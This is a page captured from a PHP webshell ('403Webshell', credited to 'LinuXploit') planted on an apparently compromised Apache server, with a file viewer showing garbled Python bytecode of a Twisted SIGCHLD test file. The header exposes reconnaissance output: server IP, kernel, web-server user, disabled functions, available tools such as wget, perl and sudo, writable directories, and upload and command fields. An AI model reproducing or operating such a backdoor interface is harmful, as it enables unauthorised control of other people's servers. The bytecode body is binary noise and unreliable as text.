403Webshell
Server IP : 61.19.30.66  /  Your IP : 216.73.216.15
Web Server : Apache/2.2.22 (Ubuntu)
System : Linux klw 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64
User : www-data ( 33)
PHP Version : 5.3.10-1ubuntu3.48
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python2.7/dist-packages/twisted/internet/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.7/dist-packages/twisted/internet/test/test_sigchld.pyc
ó
[³XMc@sdZddlZddlZddlZddlmZddlmZddlm	Z	ddl
mZmZddl
m
Z
mZddl
mZmZmZd	dd
„ƒYZdeefd„ƒYZd
eefd„ƒYZdeefd„ƒYZdeefd„ƒYZdS(sX
Tests for L{twisted.internet._sigchld}, an alternate, superior SIGCHLD
monitoring API.
iÿÿÿÿN(tmsg(tTestCase(tsetNonBlocking(tinstallHandlertisDefaultHandler(t_extInstallHandlert_extIsDefaultHandler(t_installHandlerUsingSetWakeupt_installHandlerUsingSignalt_isDefaultHandlertSIGCHLDTestsMixincBs€eZdZeeddƒdkr-dZnd„Zd„Zd„Z	d„Z
d„Zd„Zd	„Z
d
„Zd„ZRS(
s
    Mixin for L{TestCase} subclasses which defines several tests for
    I{installHandler} and I{isDefaultHandler}.  Subclasses are expected to
    define C{self.installHandler} and C{self.isDefaultHandler} to invoke the
    implementation to be tested.
    tSIGCHLDsPlatform does not have SIGCHLDcCs
tƒ‚dS(sº
        Override in a subclass to install a SIGCHLD handler which writes a byte
        to the given file descriptor.  Return the previously registered file
        descriptor.
        N(tNotImplementedError(tselftfd((sF/usr/lib/python2.7/dist-packages/twisted/internet/test/test_sigchld.pyRscCs
tƒ‚dS(sŸ
        Override in a subclass to determine if the current SIGCHLD handler is
        SIG_DFL or not.  Return True if it is SIG_DFL, False otherwise.
        N(R(R
((sF/usr/lib/python2.7/dist-packages/twisted/internet/test/test_sigchld.pyR(scCsVtjƒ\}}|jtj|ƒ|jtj|ƒt|ƒt|ƒ||fS(sk
        Create a non-blocking pipe which will be closed after the currently
        running test.
        (tostpipet
addCleanuptcloseR(R
treadtwrite((sF/usr/lib/python2.7/dist-packages/twisted/internet/test/test_sigchld.pyR0s

cCs©tjtjƒ}|tjkrC||_tjtjtjƒn	d|_|jdƒ|_|jdk	r¥|jdkr¥td|j|jfƒt	dƒ‚ndS(s
        Save the current SIGCHLD handler as reported by L{signal.signal} and
        the current file descriptor registered with L{installHandler}.
        iÿÿÿÿsSIGCHLD setup issue: %r %rs,You used some signal APIs wrong!  Try again.N(
tsignalt	getsignalRtSIG_DFLtsignalModuleHandlertNoneRtoldFDRtRuntimeError(R
thandler((sF/usr/lib/python2.7/dist-packages/twisted/internet/test/test_sigchld.pytsetUp=s		cCsq|jdƒtjtjtjƒ|jdk	rKtjtj|jƒn"|jdkrm|j|jƒndS(sM
        Restore whatever signal handler was present when setUp ran.
        iÿÿÿÿN(RRRRRRR(R
((sF/usr/lib/python2.7/dist-packages/twisted/internet/test/test_sigchld.pyttearDownPs
cCs’|j|jƒƒtjtjtjƒ|j|jƒƒtjtjtjƒ|j|jƒƒtjtjd„ƒ|j|jƒƒdS(sn
        L{isDefaultHandler} returns true if the SIGCHLD handler is SIG_DFL,
        false otherwise.
        cWsdS(N(R(targs((sF/usr/lib/python2.7/dist-packages/twisted/internet/test/test_sigchld.pyt<lambda>isN(t
assertTrueRRRtSIG_IGNtassertFalseR(R
((sF/usr/lib/python2.7/dist-packages/twisted/internet/test/test_sigchld.pyttest_isDefaultHandler_scCs>|jƒ\}}|j|ƒ}|j|j|ƒ|ƒdS(sV
        L{installHandler} returns the previously registered file descriptor.
        N(RRtassertEqual(R
RRR((sF/usr/lib/python2.7/dist-packages/twisted/internet/test/test_sigchld.pyttest_returnOldFDmscCsi|jƒ\}}|j|jƒƒ|j|ƒ|j|jƒƒ|jdƒ|j|jƒƒdS(sO
        C{installHandler(-1)} removes the SIGCHLD handler completely.
        iÿÿÿÿN(RR!RRR#(R
RR((sF/usr/lib/python2.7/dist-packages/twisted/internet/test/test_sigchld.pyttest_uninstallHandlervs

cCs|jƒ\}}|j|ƒ|jttj|dƒ}|j|jtjƒtj	tj
ƒtjƒ|jt
tj|dƒƒdƒdS(sŒ
        The file descriptor passed to L{installHandler} has a byte written to
        it when SIGCHLD is delivered to the process.
        iiN(RRtassertRaisestOSErrorRRR%terrnotEAGAINtkilltgetpidRRtlen(R
RRtexc((sF/usr/lib/python2.7/dist-packages/twisted/internet/test/test_sigchld.pyttest_installHandler‚s
N(t__name__t
__module__t__doc__tgetattrRRtskipRRRRRR$R&R'R0(((sF/usr/lib/python2.7/dist-packages/twisted/internet/test/test_sigchld.pyR
s					
						tDefaultSIGCHLDTestscBs&eZdZeeƒZeeƒZRS(ss
    Tests for whatever implementation is selected for the L{installHandler}
    and L{isDefaultHandler} APIs.
    (R1R2R3tstaticmethodRR(((sF/usr/lib/python2.7/dist-packages/twisted/internet/test/test_sigchld.pyR6“stExtensionSIGCHLDTestscBsDeZdZyddlZWnek
r5dZnXeZe	Z
RS(s~
    Tests for the L{twisted.internet._sigchld} implementation of the
    L{installHandler} and L{isDefaultHandler} APIs.
    iÿÿÿÿNs*twisted.internet._sigchld is not available(R1R2R3ttwisted.internet._sigchldttwistedtImportErrorR5RRRR(((sF/usr/lib/python2.7/dist-packages/twisted/internet/test/test_sigchld.pyR8s

tSetWakeupSIGCHLDTestscBs_eZdZeeddƒdks<eeddƒdkrEdZneeƒZ	ee
ƒZRS(sy
    Tests for the L{signal.set_wakeup_fd} implementation of the
    L{installHandler} and L{isDefaultHandler} APIs.
    t
set_wakeup_fdtsiginterrupts%signal.set_wakeup_fd is not availableN(R1R2R3R4RRR5R7RRR	R(((sF/usr/lib/python2.7/dist-packages/twisted/internet/test/test_sigchld.pyR<¬s	tPlainSignalModuleSIGCHLDTestscBs&eZdZeeƒZeeƒZRS(sr
    Tests for the L{signal.signal} implementation of the L{installHandler}
    and L{isDefaultHandler} APIs.
    (R1R2R3R7RRR	R(((sF/usr/lib/python2.7/dist-packages/twisted/internet/test/test_sigchld.pyR?¼s((R3RRR*ttwisted.python.logRttwisted.trial.unittestRttwisted.internet.fdescRttwisted.internet._signalsRRRRRRR	R
R6R8R<R?(((sF/usr/lib/python2.7/dist-packages/twisted/internet/test/test_sigchld.pyt<module>s$


Youez - 2016 - github.com/yon3zu
LinuXploit